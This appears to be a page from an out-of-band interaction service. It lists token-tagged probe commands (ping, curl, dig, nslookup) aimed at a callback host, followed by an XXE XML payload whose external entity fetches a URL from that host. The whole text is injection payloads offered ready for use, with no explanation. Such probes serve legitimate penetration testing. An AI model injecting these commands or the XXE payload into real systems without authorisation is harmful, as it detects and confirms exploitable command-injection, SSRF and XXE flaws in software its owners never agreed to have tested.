$ ping -c1 -p 00204b79a4e4b42a499e51d124ba5f00 unhack.ca
 

$ curl http://unhack.ca/p/204b79a4e4b42a499e51d124ba5f
 

$ dig 204b79a4e4b42a499e51d124ba5f @unhack.ca
 

$ dig 204b79a4e4b42a499e51d124ba5f.ns.unhack.ca
 

C:\> nslookup 204b79a4e4b42a499e51d124ba5f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/204b79a4e4b42a499e51d124ba5f">]>
    <foo>&xxe;</foo>